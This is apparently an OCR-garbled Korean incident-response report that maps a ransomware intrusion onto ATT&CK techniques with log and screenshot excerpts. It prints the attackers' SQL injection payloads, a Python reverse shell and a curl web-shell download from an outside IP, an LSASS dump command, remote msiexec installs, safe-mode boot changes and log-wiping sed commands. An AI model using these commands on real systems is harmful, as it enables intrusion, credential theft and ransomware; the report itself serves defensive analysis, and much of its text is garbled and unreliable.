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= T1059.006(Command and Scripting Interpreter:
Python)



= T1218.007(System Binary Proxy Execution : Msiexec)
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2. Summary
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Tools

Resource Development

Windows System

3. ATT&CK Matrix

Tactic

Reconnaissance

Initial Access

Execution

Execution

Execution

Execution

Persistence

Persistence

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

Defense Evasion

ID

T1596.005

T1190

T1569.002

T1059.003

T1059.006

71047

T1547.001

T1543.004

T1140

T1036.005

T1055.003

71070

T1070.001

T1070.004

Sub-technique

Search Open Technical Databases :
Scan Databases

Exploit Public-Facing Application

System Services : Service Execution

Command and Scripting Interpreter :

Windows Command Shell

Command and Scripting Interpreter:
Python

Windows Management
Instrumentation

Boot or Logon Autostart
Execution: Registry Run Keys /
Startup Folder

Create or Modify System Process:
Launch Daemon

Deobfuscate/Decode Files or
Information

Masquerading : Match Legitimate
Name or Location

Process Injection: Thread Execution
Hijacking

Indicator Removal on Host

Indicator Removal on Host : Clear
Windows Event Logs

Indicator Removal on Host: File
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Defense Evasion

Defense Evasion

Defense Evasion

Credential Access

Discovery

Lateral Movement

Lateral Movement

Lateral Movement
Lateral Movement

Command and Control

Command and Control

Exfiltration

Impact

Impact

Impact

Impact

Reconnaissance

T1562.009

T1218.007

T1222.002

T1003.001

T1046

T1021.002

T1021.006

71072

T1570

T1071.001

T1090.001

T1048.003

T1485

T1489

T1490

T1529

Deletion
Impair Defenses : Safe Mode Boot

System Binary Proxy Execution :
Msiexec

File and Directory Permissions

Modification : Linux and Mac File and

Directory Permissions Modification

OS Credential Dumping : LSASS
Memory

Network Service Discovery

Remote Services: SMB/Windows
Admin Shares

Remote Service : Windows Remote
Management

Software Deployment Tools
Lateral Tool Transfer

Application Layer Protocol : Web
Protocols

Proxy : Internal Proxy

Exfiltration Over Alternative Protocol :
Exfiltration Over Unencrypted Non-C2

Protocol
Data Destruction

Service Stop

Inhibit System Recovery

System Shutdown/Reboot

T1596.005 Search Open Technical Databases: Scan

Databases
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/member/prc.php?prc_mode=prc_find_id&fd0OD=2746 AND 1=1 U
NION ALL SELECT 1,NULL, '<script>alert("XSS")</script>"',t
able_name FROM information_schema.tables WHERE 2>1--/xx
/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

Initial Access

T1190 Exploit Public-Facing Application

DB F|24X S 0|25109 224 AL, sqlinjection It xp_cmdshell Z2A|X &

=

o
.23/32 172, /321443 2022-07-12 2% 7:42:51 SOL query 7 2(C0O_LOGIN_R_001" AND 8364=CAST({CHR(113)11CHR(107)1ICHR{112)1ICHR(122)11CHR(113))11
.23/32 172, /321443 2022-07-12 2% 7:42:51 SOL query  2(C0O_LOGIN_R_001") AND 8364=CAST((CHR(113)1ICHR(107)I1CHR(112)1I1CHR(122)1ICHR(113))]
.23/32 172, /321443 2022-07-12 2% 7:42:51 S0L query 7 2(C0O_LOGIN_R_001 AND 8364=CAST((CHR(113)IICHR{107)1ICHR(112)11CHR(122)1ICHR(113))11{
.23/32 172, /321443 2022-07-12 2% 7:42:50 SOL query T 2(CO_LOGIN_R_001 AND EXTRACTYALUE( 9683, CONCAT(0x5c,0x716b707a71,{ SELECT (ELT(9689=96
.23/32 172, /32:443  2022-07-12 2% 7:42:50 SOL query 2 (CO_LOGIN_R_001") AND EXTRACTYALUE( 9689, CONCAT(0x5c, 0x716b707a71, (SELECT (ELT(9689=
.23/32 172, /32:443  2022-07-12 2% 7:42:50 SOL query 7 & ((SELECT (CASE WHEN (8475=8475) THEN 'CO_LOGIN_R_001' ELSE (SELECT 2989 UNION SELEC
.23/32 172, /32:443  2022-07-12 2% 7:42:50 SOL query 2 (CO_LOGIN_R_001) AND EXTRACTVALUE(9689, CONCAT(0x5c,0x716b707a71, (SELECT (ELT(9689=9
.23/32 172, /32:443  2022-07-12 2% 7:42:50 SOL query & (CO_LOGIN_R_001 AND EXTRACTYALUE(9689, CONCAT( 0x5c,0x716b707a71, ( SELECT (ELT(9689=96
.23/32 172, /321443 2022-07-12 2% 7:42:50 SOL query ? 2(CO_LOGIN_R_001" AND EXTRACTYALUE(9689, CONCAT(Ox5c, 0x716b707a71, (SELECT (ELT(9689=9
.23/32 172, /32:443  2022-07-12 2% 7:42:49 SOL query 2 (CO_LOGIN_R_001 AND 5882=6787-- WZx0)0| EX & U&UCH.
.23/32 172, /321443 2022-07-12 2% 7:42:49 SOL query P 2(CO_LOGIN_R_001') AND 2487=2487 AND ('TilQ'="Til0)0| EXSU&LCtH.
.23/32 172, /32:443  2022-07-12 2F 7:42:49 SOL query T 2(CO_LOGIN_R_001' AND 2784=2074 AND 'yy¥dd'='y¥dd)0| EX S &LICH.
.23/32 172, /321443 2022-07-12 2% 7:42:49 SOL query P 2(CO_LOGIN_R_001" AND 2487=2487 AND 'vkHe'='ykHe)0| Ef XS A&LICH,
.23/32 172, /321443 2022-07-12 2% 7:42:49 SOL query 7 2(CO_LOGIN_R_001 AND 2487=2487-- HIuR)0| EIX & U& .
.23/32 172, /321443 2022-07-12 2% 7:42:49 SOL query 7 2((SELECT (CASE WHEN (7250=7251) THEN 'CO_LOGIN_R_001' ELSE (SELECT 7251 UNION SELEC
.23/32 172, /321443 2022-07-12 2% 7:42:48 SOL query P 2(C0O_LOGIN_R_001) AND 2487=2487 AND (1790=1790)0] E'X| & U &LICH.
.23/32 172, /321443 2022-07-12 2% 7:42:48 SOL query P 2(C0O_LOGIN_R_001) AND 7520=2969 AND (3774=3774)0] E'X| & U &LICH.
.23/32 172, /321443 2022-07-12 2% 7:42:48 SOL query P 2(C0O_LOGIN_R_001 AND 8763=5681)0] B X S A&LICH.
.23/32 172, /321443 2022-07-12 2% 7:42:48 SOL query P 2(C0O_LOGIN_R_001') AND 8745=4168 AND (" IJlu'="1JIu)0| EIXSU&LICH.
.23/32 172, /321443 2022-07-12 2% 7:42:48 SOL querv ? P (CO_LOGIN_R_001 AND 2487=2487)0] EIXIGA&UCH,

Execution

31 0S HY HAYC 30 T3 LSASS 22

Description

N8Ol MEl 27 SRS AT U,

MEl = ol &1 4viT3822

Mel = me o &: %COMSPEC% /Q /c Cmd.EXE /Q /c for /f "tokens=1,2 delims= " ~%A in ("tasklist /fi "Imagename eq Isass.exe" | find "Isass"") do rundll32.exe C:#windows
#System32#comsves.dll, #+0000124 ~%B #Windows¢ Temp¥t4uZ.log full

ME 2 8 A8X% 2E N &

MEl2 AR RED 238 A AF

Mel = A% LocalSystem

Description

4viT3822 Ml = A Z & 2ictele § M Ao =&3a (300008 a2 =),

AN E MB|20| SESH &S A =5 27

L HEAED)




~

a35Lled o B i 0 H4T  ME AR ]E
a3 a2 enbevaad XE
MH|A AJE ., e
. Gk ActiveX Installer (AxinstSV)  SIEf .. =5
3 Alllawn Routar Sandica =3 AE(§E|
a3shaxbivaad 5 4(2E ZEH) X
ai 2le 53 | F44 (E2)...
(EZ.
AH|Z 0| E: a3slwisfavinka
#A| 0|&: a3Staisha ok
22
AT OY ZE: (=2
msiexec /gn /i C:#¥ProgramData#a3st =i +51 vk msi SERIAL=/ 1 <
AZSE(E): = v
(E2...

LS AF AR
Local System
Local System
Local Service
Local System
Local System
Local Service
Local System
Local Service
Local System
Local System
Local System
Local System
Local Service
Local Service
Local System
Local System
Local System

T1059.003 Command and Scripting Interpreter :

Windows Command Shell

DISM BHOE 0|&310{ A0 R20i| ALEE 1S EAMH 7|5 EX|

25450
254505

2022-07-23 15:22:38, Info

DISM DISM.EXE: Executing command
line: Dism /Online /Enable-Feature /FeatureName:llS-DefaultDocument /All
2545062022-07-23 15:22:38, Info DISM DISM Provider Store: PID=7808

254507TID=4492 Getting Provider FolderManager - CDISMProviderStore::GetProvider

2545082022-07-23 15:22:38, Info DISM DISM Provider Store: PID=7808
254509TID=4492 Provider has not previously been encountered. Attempting to

"ol 23

netstat prepatch, SRUM
wmic prepatch, SRUM
whoami prepatch, SRUM
quser SRUM

msiexec SRUM

rundll32 SRUM

reg SRUM

T1059.006 Command and Scripting Interpreter:

Python
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python —c 'import socket,subprocess,os;s=socket.socket(s
ocket.AF_INET, socket.SOCK_STREAM);s.connect(("158.247.22
1.23",443));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),
1);0s.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

T1047 Windows Management Instrumentatio
SAXH= 271K YAIS AHE5t0] 290 mhd % HiZSH =0 YR RIERAIA
A2 wmi HHOE AHE510] TS Hi=Zst = ?
2 ADAMHO] IISMHE 55101 &S Sal Tt

708 ZF7IZAZ (UTC+09:00) 71 B2
{45AF8F9A-33C2-4998-AA67-FA2E 10386E52) HKEY_LOCAL_MACH 14C iDiagtrack-Listener {: 7-FA2E10386E52}
{46813027-2DFD-46E1-832D-E41E2810E6ES) HKEY_LOCAL_MAC 1H#C HWDiagtrack-Listener##{46813027-2DFD-46E 1-832D-E41E28 10E6ES}

{53CB6537-BEC2-SEFE-054F-12441F 101550} HKEY_LOCAL_MAC T HDiagtrack-Listener #{53CB6537-BEC2-5EFE-054F-12441F 10 155D}

{754DE735-CCD5-4682-8D08-FCABACS2C3DE}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH T Control WML, HDiagtrack-Listener #{754DE735-CCD5-4682-8D0B-FCABACS2C3DE]
{71E0A338-761A-4733-9D73-DIACFS38279D}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH T Control WM, HDiagtrack-Listener #{71E0A33-76 1A-4733-9D73-D 1ACF5382790}
{6818D7FA-719D-470A-B379-20CBABDBBA3E)  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MAC THControl#WMIH HDiagtrack-Listener {68 18D7FA-719D-470A-B379-20C8ABDSBA 36}
{6EE36D33-0D93-4098-8FF9-DBCS63SABEFD}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH THControl#WMIH HDiagtrack-Listener #{6EE 36D33-0093-4098-8FF9-DECS6 35ABEF D}
{687AES10-1C00-4108-A958-ACFATBECCCDS} :27 Sun HKEY_LOCAL_MACH THControl#WMIH HDiagtrack-Listener #{687AE5 10-1C00-4108-A958-ACFA7BECCCDS}
{7A55858E-4838-456DB418-093C86DI2EB7} :00:27 Sun  HKEY_LOCAL_MAC TControl#WMIH: H#Diagtrack-Listener #{7A55858E-4833-456D-5418-093C86D9 2687}

{61BC3BAA-C439-SE41B843-9C2564ED57F6)  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH THControl#WMIH: HDiagtrack-Listener #{6 1C3BAA-C439-5E41-8843-9C256 4EDSTF6}
{63FF4FDD-4126-584A-763D-231C2852372C}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MAC} THControl#WMIH: HDiagtrack-Listener # {6 3FF 4FDD-4126-584A-763D-231C2852372C}
{724A3824-7387-449A-B25E-B135F2CA4CST}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH THControl#WMIH: HDiagtrack-Listener #{724A3824-7387-449A-825 -8 135F 2CA4CST}
{726988D0-434D-4F50-9DCC-E6DFCIDF2863)  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH THControl#WMIH: HDiagtrack-Listener #{72E988D0-434D-4F 50-9DCC-E6DFCIDF2863}
{6DD3A4C0-0119-SE7E-8678-76247CD32AFC}  2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH Mc HRRMIH, HDiagtrack-Listener #{6DD3A4C0-0119-5E7E-8678-76247CD32AFC}

{6BF6822C-AC65-44BC-AECE-7131F 4821506} 2022-07-24 03:00:27 Sun  HKEY_LOCAL_MACH i HDiagtrack-Listener #{6BF6822C-AC65-44BC-AECE-7131F 4821506}
{67379E0D-4F49-43AC-8925-F41FB0CICEFD}  2022-07-24 03:00:27 Sun  HKEY_LOCAL, MACH]NEWSY?I‘EMWCDnvolSemO1WCm¢rolWWMIWAumluggerWDiagﬁrack-LlstznefW(G7379EOD—4F49—43AC-8925~F41.F80C3C6FD)

Persistence

T1547.001 Boot or Logon Autostart

Execution: Registry Run Keys [ Startup Folder

OIEE HEIA| XIS 2R 2ML0IS Ad5| Qo oD E B 2XAER)
(HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\[A{H]
AH])0 HHA S5

s R ES =T

oEF BEE 27V EARIIA) =8EH)

{745A17A0-74D3-11D0-B6FE-00AQOCI0FS7DA} All 02 E--4 Gjo| Ef
{9DA2BBOF-FBIF-4A49-A5C2-511B0B5BIEBA} ab) (71224
{ADA588A4-C46F-4B37-B7EA-C82FEB9870CE} o
{D48179BE-EC20-11D1-B6B8-00C04FA372A7}
{D94EESD8-D189-4994-83D2-F68D7D41BOE6)
{F2E7DD72-6468-4E36-B6F1-6488F42C1B52}
EER S oL

Ahcache.sys

Appinfo

AppMgmt

Base

BasicDisplay.sys

RacirRandar cve

Z F EIWHKEY_LOCAL_MACHINEWSYSTEM#CurrentControlSetwControl#SafeBoot#Minimalwa3 st F Tt == k. -

REG_SZ LEPAE)

v

T1543.004 Create or Modify System Process:
Launch Daemon

GIZ0fl ofsh R} Mols AIES MY



..service_issue().{
. .bindres="python -c 'import socket, subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("158.247.221.23", 80));
os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

import pty;

pty.spawn("sh")' &'..echo $bindres.

Defense Evasion

T1140 Deobfuscate/Decode Files or Information

M0 LR S| EXtE HEHE RC4E Y53t

RC4

61 10

CC 4F BF 4E C5 70 D8 86 6A 2E 63

62 4C A8 59

FD 6A 92 56 CO

F1

37 77 23 F8 5C

D8 F3
9E 32
AC 03
AD 34
22 2C
FC 6E
8C E2
65 02

Passphrase

10 64 F9 A@ 32 55 DF 45 4C 5F ..  HEX”

Input format
Hex

Output format
Latin1

C2 C3 FA F5 98 5D B@ 78 72

78 05

9F 5E

9F 39

D1 A6 A5 AF 9E 5F B9 93 6E 6C B5

8F 13 C2 FF 96 77 01
13 AD BF 12 03 1F 92
25 97 42 DA 27 45 E7
74 56 16 80 96 A3 0C
Co 7A C9 52 E1 E5 FF
F7 DC 3E FA 74 2D EE
FF CC 11 E5 9C 3E 22

OE 79
85 B5
4A 74
42 6A
EE 05
9E BC

9A 89
89 F2
CF 11
16 D4
C8 63
9A BO

1D oC
94 05
01 37
32 2A
EF 11
E7 36

19 D6 A3 94
74 A6 65 BO
D2 75
88 E3
15 04
FB 65

F9 4C
E0 C8
B7 53
0A C3
29 F6
42 ED

5D @D
FD B2
70 27
CD F2
oD 0A
15 ED

51 AD E4 58

38 AA D5 B3 D9 57 01 86 QE 2E 7D 21 EF

38 1F
12 E6

F2 EO

F9 CC 37

El

DF 99
51 67
FE 59

3C BA 67 C2 CD D9 75
87 9A 76 87 48 F7 E7
3E 54 19 CD F9 1E CC

59 02
3C FD
Bl 83

93 60 A9 DD
oD 34 97 20
1F 74 DE D8

40 AA 49
3D 65 F1 E3
C4 7E 31 B8
53 8A E5 96

74 00
60 7F
FE 01
8A 21

3B 72
Co E2
C7 4E
00 56

AB 53 32 5E FB
C3 67 4A Al 2F
66 77 6B 63 89
5E 71 9E 40 19
45 42 oC 7A 14
50 2E AD 52 AB
D4 89 87 OF 58
Bl 9E 92 05 OF
71 40 23 C9 41
E1 BB 3D 3C (9
28 10 71 FC BC

time:
length:

13ms
45056
lines: 1l

Output %] |_|:| M HH
{"db": ["program files (x86)","program
files","msocache","boot","intel","$windows.~bt","$windows.~ws" ,"windows.old","windo
ws","perflogs","system volume information","$recycle.bin","tor

browser","mozilla","google","programdata","application data","appdata","all

users","windows1@upgrade"],"eb":
[".sys",".exe",".d11"," .mui",". lnk"," .msi", " .msstyles",".icl",". idx",". rtp"," . nomed
ia",".hta",".cur",". lock",".cpl",". ics"," . hlp",". com",". spl", " .mpa", " . rom",*.drv" "

.bat",".386",".adv",".diagcab",".gwkey",".mod",".scr"," . theme",".0cx",".prf"," . cab"
,".diagcfg",".msu",".cmd",".ico"," .msc",".ani"," . icns",".diagpkg",".deskthemepack",

T1036.005 Masquerading : Match Legitimate Name
or Location

20 YA S Fo oYX [&5to] Hi=
el My
netclient_update.msi S| £2M netclient YH|O|E HUHOZ Q&
x64_install.msi U MX[otY oUHo = E

T1055.003 Process Injection: Thread Execution
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Mal| MBIMACE M=o QIEM Y A

o)

system32_path = sub_6E1812U0(File_Execute_key_Buffer);
v106 = sub_6E1815A0(system32_path, 2029348u85);

Allocmem = (VirtualAlloc_)(lpAddress, 0i6l, size_u, 12288i6u, U4);
(WriteProcessMemory) (
lpAddress,
Allocmenm,
DecomBuf_,
size_U,
eie6u);
viu6 = 0;
if ( (VirtualProtectEx_)(
lpAddress,
Allocmem,
size_U,
32i6l,
&vlue) )
{
v150 = 0i6l;
(RtlCreateUserThread_)(
lpAddress,
Qi6l,
eiel,
eiel,
0i6u,
eiel,
Allocmenm,
eie,
Qi6l,

T1070 Indicator Removal on Host

AFEIDET ATRE O|M ME|AZ XSHA =5 ST 2K AEEZ], M|

AN

if ( SMM_key[@] == 0x30 )
{

delete_reg_6E183C60(System_SafeBoot_minimal);

delete_reg_6E183C60(System_SafeBoot_msiServer);
DeleteService_6E181D00(_a35f23725b5feab2);

v69 = decode_rcl_6E183A20(byte_6E1A223C, 0x21uibl);
(ShellExeciteA_)(0i64, , path_dxdiag_exe_, v69, 0i6d, 0);
(Sleep_)(2000i64);

(DeleteFileA)(path_dxdiag_exe_);

T1070.001 Indicator Removal on Host : Clear
Windows Event Logs

A7 AHE AIARSO| OHIE =7 ALK

Type Event User Description
(i) Information 104 #SYSTEM OpenSSH/Admin 21 THY0| AR | Q&L Ch
Information 104 WSYSTEM OpenSSH/Operational 21 T+Y0| ALK S| & LTt
Information 104 WSYSTEM Setup 21 IH0| AR & 4L CH
Information 104 #SYSTEM SGX/Admin 21 0| ALK E| Q&L CH
(i) Information 104 #wSYSTEM SGX/Diagnostic 21 HF0| AHK| S| A& LI Ch
(i) Information 104 wSYSTEM SMSApi 21 THY0| AHK|E| A& LICH
(i) Information 104 #wSYSTEM Windows Networking Vpn Plugin Platform/Operational 21 T+0| AHH| 5| & LI,
(i) Information 104 WSYSTEM Windows Networking Vpn Plugin Platform/OperationalVerbose 21 TH0| A & Qi&L|Ch.
(i) Information 104 #WSYSTEM Application 21 IH0| AHH| & Q&L CH,
104 WSYSTEM HardwareEvents 21 It 0| A{K| £| Y& LICH
104 #wSYSTEM Internet Explorer 21 I+Y0| AK| S| A& L|CH
104 #SYSTEM Key Management Service 21 L+ 20| AK|E| S L|CH
104 #SYSTEM OAlerts 211 T+ 0| A E|%ELICH

[@) Information 104 System =1 012I0| AtH|E QS LICE



Description
System =1 T 2o AHEHASUC,

T1070.003 Indicator Removal on Host: Clear
Command History

2, SA0 o8et oY S Ao EXE 57(7| ?la 23 SR AH|

sed —i '/xkk_group_list/d"' /xxx/log/httpd/**x*_*—
access_logkx sed —-i '/xkk_group_list/d"' /*xx/log/php/2022
/07/*%.1log ls —alhtr /*xk/log/httpd/ sed -i '/unorm/d'
/**xx/1log/httpd/***x_subl-access_log.1l sed -i '/unorm/d'
/*xx/10g/php/2022/07/%*.log

T1070.004 Indicator Removal on Host: File Deletion

FAS0 A= 1

#:dKHL”M(Ol6H 0164

(ShellExeciteA_)(0i6!,
(Sleep_)(2000i64);
(DeleteFileA)(path_dxdiag_exe_);

T1562.009 Impair Defenses : Safe Mode Boot

OHHDE HEl2 S5 Wol 4242 228
=

oM E HEIZ Q|sl CtSot 242 HH o3 (dxdiag.exe = becdedit.exe)

C:\\ProgramData\\dxdiag.exe /set {default}
bootstatuspolicy ignoreallfailures 'E& AufA| of2{ stH E=
C:\\ProgramData\\dxdiag.exe /set {default}
recoveryenabled No 'S32E H|ZM3l C:\\ProgramData
\\dxdiag.exe /set {default} safeboot minimal 'QIFZCE HEl

(e}

FIZEE MH|20| S5 =, SRR BE 2P XAER(0 AYIEE S5

= = S= f =T ]

H QTR0 M ME[ATE Sl 2| =5 AF

ol

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal
\[ransomware]



T1218.007 System Binary Proxy Execution : Msiexec
7| LHE Mol MY E CHREE & SMM=12t2t SIAEE QIRIZICE F
of A3

SMMZ0| 12 2P SHYTES AHIAY S5 U M

cmd.exe /Q /c msiexec /gn /i http://[MHIP]/x64_install.
msi SERIAL=[SERIAL] LICENSE=[LICENSE] ORG=*** SMM=1 TBT=
[TBT] 1> \\127.0.0.1\ADMIN$\__16585x%****.5687962 2 >&l

T1222.002 File and Directory Permissions
Modification: Linux and Mac File and Directory
Permissions Modification

QY C20|M LIYUS CIRE 510 MA o] H2 AlZt £H- A[ZteZ Y
M A%

curl —o unorm_lib.php http://158.247.221.23/t.txt 1ls —-al
htr touch -r unormlib.js unorm_lib.php && ls —alhtr

Credential Access

T1003.001 OS Credential Dumping : LSASS Memory

Ct2ol WAHOE 0|83510 LSASS Z2M|AQ| 222 HE510] \Windows
\Temp\4uZ.log Tt 2 XNZt

%COMSPEC% /Q /c Cmd.ExE /Q /c for /f "tokens=1,2 delims=
" ~%A in ('"tasklist /fi "Imagename eq lsass.exe" | find
"lsass"""') do rundl1132.exe C:\windows\System32\comsvcs.d
11, #+0000"24 "~%B \Windows\Temp\4uZ.log full

Discovery

AN A/ AL _a____ __ A~ _ N



1140 Network Service viscovery

7% MB{0 NmapS 4|50 LS HIEST HE $3

) nmap-5.51 WEFT Partition @ 284145664 Wusrishareidoc 2022-07-14 22 5:25:03  2022-07-14 2% 5:25:03  2022-07-26 2% 5:20:14
=] COPYING T Partition @ 284145664 Wusr¥share¥docnmap-5.51° 2011-01-21 =11 9:04:16 2022-07-14 =% 5:25:03  2022-07-18 =% 12:32:44
HEF] Htusriftshare HdocHfn 0 on 2= 2z
=] nmap.usage.txt F1 Partition @ 284145664 Wusr’ are Wdoct¥nmap-5.51 2017-03-22 27T 6:36:46
e s iftshare WdocHin 0 on
] README 1 Partition @ 284145664 Wusr’ are Wdoct¥nmap-5.51 2008-01-17 2% 4:22:03
B HeF) Htusriftshare WdocHf 0 XS
] nmap.1l.gz 1 Partition @ 284145664 Wusr’ are Wmandet¥man1 2017-03-22 27 6:37:11
B HEF] Hfusr fishareffman'itde fiman 14 °n
=] nmap.1.gz 1 Partition @ 1 2017-03-22 28 6:37:11
e e Hshare Winanestnan 14 o
=] nmap.1.gz F1 Partition @ 284145664 Wusr’ are vman an1’ 2017-03-22 210 6:37:11 2022-07-18 = 12:32:18
e st Wshare Wman i fiman 19 on 23
covered open port 80/tcp on 172. .Discovered open
port 80/tcp on 172. .Discovered open port 80/tcp
on 172. .Discovered open port 80/tcp on 172. 4
.Discovered open port 80/tcp on 172. .Discov
ered open port 280/tcp on 172. ..Discovered open po
rt 80/tcp on 172. .Discovered open port 80/tcp on
172 . .Discovered open port 80/tcp on 172.
Discovered open port 80/tcp on 172. .Discover
ed open port 80/tcp on 172 .Discovered open port
80/tcp on 172. .Discovered open port 80/tcp on 1
72. .Discovered open port 280/tcp on 172. L
4 Discovered open port 28080/tcp on 172. .Discover
ed open port 80/tcp on 172. .Discovered open port
80/tcp on 172. .Discovered open port 80/tcp on 1
2 - - RECIOHCNS - 4| BAR [~ 212 - - - 33K BECL J|BRL|EE NG CASHL | SUY
LT TSR % S8 o b e R S T a1 e ST 35 B o v i o R e o SRR
2022/07/14 19:1943 - SYN Port Scan 172, 2 6 TCP 16016, 1 1887 11322 2022/07/17 15:31:48 SMB Service sweep(tcp-445) 172. 172 2 TCP 445 1 2361416K
2022/07/14 19:19:43 - SYN Port Scan 172, 2 5 TCP 10629 1 984 59.04K 2023/07/17 1531248 - SMB Service sweepltcp-445) 172 17 o TcP M5 ! $123072¢
20220714 192054 - SN Port Scan 1721 2 0 TP w07 1 ek Zoon - S Sk sty 172 S i
200T/14 15204 - SN port Scan 172 3 L S0 155217 VB Senice septcp 49 172 Y B
g erto- e 28 snvrersan Tl 2L Te w1 e Tl R e
2022/07/14 19:21:01 - SYN Port Scan 172 2 6 TCP 8007 1 115 690K 2022/07/17 15:3304 - 'SMB Service sweep(tcp-445) 172 172. TP 445 1 248 1488K
2022/07/14 192102 - SYN Port Scan 172, 2 1TCe 8007 1 155 930K 2022/07/17 15:3306 - ‘SMB Service sweep(tcp-445) 172 172, P w45 1 514 3084K
20220714 152054 - st ot scan 172 2 o e mo 1 asrss 2Rt 53321 SV Sece sweepcp 49 172 72 w1 s
2022/07/14 192059 - SN Portscn 172 : D w1 st 0017 153554 B ST M Sece wecpl 449 172 s T w1 s
2022/07/14 19:21:02 - SYN Port Scan 172, 2 9 TCP 8007 1 225 13.50K

Lateral Movement

T1021.002 Remote Services: SMB/Windows Admin
Shares

HE MM SMBE Sali LIE AIAE0] B2, ADMHOIME HHEH M=z
SMB EHZ A=

30816 Microsoft-Windows-SMBClient I
@ Error 2022-07-18 2% 5:44:50 30816 Microsoft-Windows-SMBClient None N/A 1 172
@ Error 2022-07-18 2% 5:44:49 30816 Microsoft-Windows-SMBClient None N/A 1 172
0 Error 2022-07-18 23 5:44:49 30816 Microsoft-Windows-SMBClient None N/A 1 172
§ MEZLEY 280 EHRESULCH
% 2 8: 3221225676
S | MH 0I5: w172}
3

X

SSHOIUE0M EYSI2H= YOS MEOA X E3HX| FEUCH S S0 S240I S0 M= smMB2/sMB37 AL EIX| 23, ME{0f M= smB10] At2 5 X @& UL

2022/07/18 17:43:55 - Microsoft Windows SMBv2 Rer 172 210. 445 4 8968
2022/07/18 17:43:45 - SMB Service connect(tcp-445) 172 210. 445 98 24.88K
}2022/07/18 17:44:49 - SMB Service connect(tcp-445) 172 210. 61161 92 12.05K
2022/07/18 17:47:00 - SMB Service connect(tcp-445) 172 210. 445 20 5.83K
2022/07/18 17:48:43 - SMB Service connect(tcp-445) 172 210. 61225 84 19.73K
2022/07/18 17:49:23 - SMB Service connect(tcp-445) 172 210. 61246 41 9.21K

T1021.006 Remote Service : Windows Remote
Management

2AK= 7|26 AEEE (Administrator) 2 WinRM HE 2 0235101 LiE
AlAEIO ®A

—



) worapaa

& Dl wswan 3363 C:¥Windows WTemp #nsx759D. tmD'Walyacext UbfuNd.exe 713272 2021-10-12 15:15:59 Tue
e AutoRestartiist 4471 "softi id... ay_es_x64.exe 0 2021-10-12 15:15:45 Tue
O certvapping 334 HappData'ifLocaltiTempitf1 IsArm.exe 75776 2021-10-12 15:15:32 Tue
O client E 3448 H#AppDataLocaltiMicrosofthh... iagent_x64.exe 35029152 2021-10-12 15:15:25 Tue
i Listener 4t AppDatatifL ocaltfiMicrosoftity. tinstaller 1 5310848

O Plugin

(I

HHfProgram Files WARNLab Y NETS0 WTemp'fre 2021-10-05 09:10:02 Tue

7145 iProgram FilestAhnLabV3NET90 #MUpdate2 2021-09-27 11:44:57 Mon
7725 C:¥Program Files'WAhnLab'#'v 3NET90WMUpdate2¥Up... mautoup.exe 2021-09-27 11:44:55 Mon
2010 :H#Program FilesWiMicrosoft SQL Server#tMSSQL11.QM... SqlBase.exe 2021-09-26 20:45:24 Sun
1958 D:#WProgram FilesWMicrosoft SQL Server#MSSQL11.QM... SqlBase.exe 0 2021-09-23 17:45:03 Thu
7587 C:¥Windows W Temp WF5A00280-ADB5-484F -ABFD-BCS.... DismHost.exe 172032 2021-09-16 02:24:42 Thu
2052 D:¥Proaram OL Server##MSSOL11,0M... SalBas 0 2021-09-14 14:45:00 Tue

192.168.10.215

7184 [ErE ool

idos UEF U HOIE

EOHE TS 0 REG_BINARY 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 CO A8 0A D7 00 00 00 00 00 00 00 00 00 00 00 00
&4 1
1 BE 4624 A0 MFHOE ElesmEUL. ] i 3 3 i je i 1-5-21-399751154.. ;3
© EE  2021-10-08720:55:50.5642105 16 \»\CilUsers\ \ntuser. dat SIOISSL.  map(HiveliameLengtne3, HiveNones\22\Ci\Users\ \ntuser. dat KeyzUpdated-475, DirtyPages=41)
o E= 2021-10-08720:55:50.6116094 16 A22\C:\Usersy | 22\C: \Users\ \AppData\Ls -
© WS 2010.08720:55:50.8977083 91 ASIOF Resourceuri’t X12 itan S BEE B mep()
now. 2021-10-08720:55:52.0000000 600 "Alias" FSX7t startesULICH. map{@=Alias,1=Started,2= ProviderNase=Aliss
. 2021-10-08720:55:52.0000000 600 “Environment® BBV} StartedZLiCh mop(@sEnviromment, 1xStarted, 2= ProviderianesEnvironment
2021-10-08720:55:52.0000000 600 “Filesysten” ZJA7} StartedQLCh. p{@=Fi. ,1=Started,’ i i
2021-10-08720:55:52.0000000 600 “Function” FZX7t StarteaQUICH. 4 rted,2=
2021-10-08720:55:52.0000000 600 "Registry” STAV} Storted@ict. 1estorted, 2=
< Detais 1 X Field Data
ABFL Y Enter search text here. P A0 4EHOE EALEASUC
% Name Valve BitOfset BitLength Type =
LevelDisplaytane. 3= String T sap
Channel Security String A% 0|
Computer String AT EHe:
Opeote o (ax0000) Int1s =3z o0
Opcodedisplayhane B2 string S s
Process1a st (ax0000021) Ines2 &
fenoats nap(subectusersians-1-0-0,Supfectusertanes- 5. rapvadi. - .
Swjectisersia  5-1-0-9 string
Swjectusertone - string Ele
Swbjectoonoinane - string =00 S5 500
Subjectlogonld 0 (§x0000000000000000) UIntes Azos
TargetUsersid $-1-5-21- -500 String A% =0
Torgetusertane String El2 D OxdcAEB8
TargetDomainane String & 100000000-0000-0000-0000-000000000000}
eetop se3s90%6 utnees
LogonType 3 (ex00000003) uInts2 BERA I o0
Logonprocesshane  NitLassp String =242 02 ,
AuthenticationPack. NTLH String
WorkstationName SYCEA String HEXI BE:
LogonGuid 80000000 - 00000000~ 0000 - 200000000000 Guid K3 2EOM 018 SYCEA
Transmittesservices - string gEuzeaza
Lopackagename v string =
Keytengtn 128 (0190000059) uInts2 E—
